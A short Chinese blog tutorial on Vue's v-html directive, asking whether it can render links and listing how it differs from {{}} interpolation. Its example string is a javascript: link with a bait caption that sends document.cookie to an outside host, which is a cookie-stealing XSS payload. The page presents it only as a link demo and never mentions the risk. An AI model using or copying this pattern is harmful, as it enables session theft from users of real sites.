我们知道vue v-html的作用是向指定节点中渲染包含html结构的内容。
那vue v-html的内容能放链接吗？
我们先来看看下面的例子。
<!DOCTYPE html>
<head>
<title>v-html</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<div v-html="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:"#root",
data:{
str:'<a href=javascript:location.href="http://baidu.com?"+document.cookie>兄弟，我找到你想要的资源了，快来！</a>'
}
})
</script>显示效果如下
从上面的列子我们可以看出vue v-html里的内容可以放链接。
v-html 与插值语法有什么区别呢？
（1）v-html 会替换掉节点中所有的内容，{{}}则不会
（2）v-html 可以识别html 结构
通过以上内容我们知道了vue v-html里的内容可以放链接。感谢您访问“我爱捣鼓(www.woaidaogu.com)”网站的内容，希望对大家有所帮助！引用本文内容时，请注明出处！谢谢合作！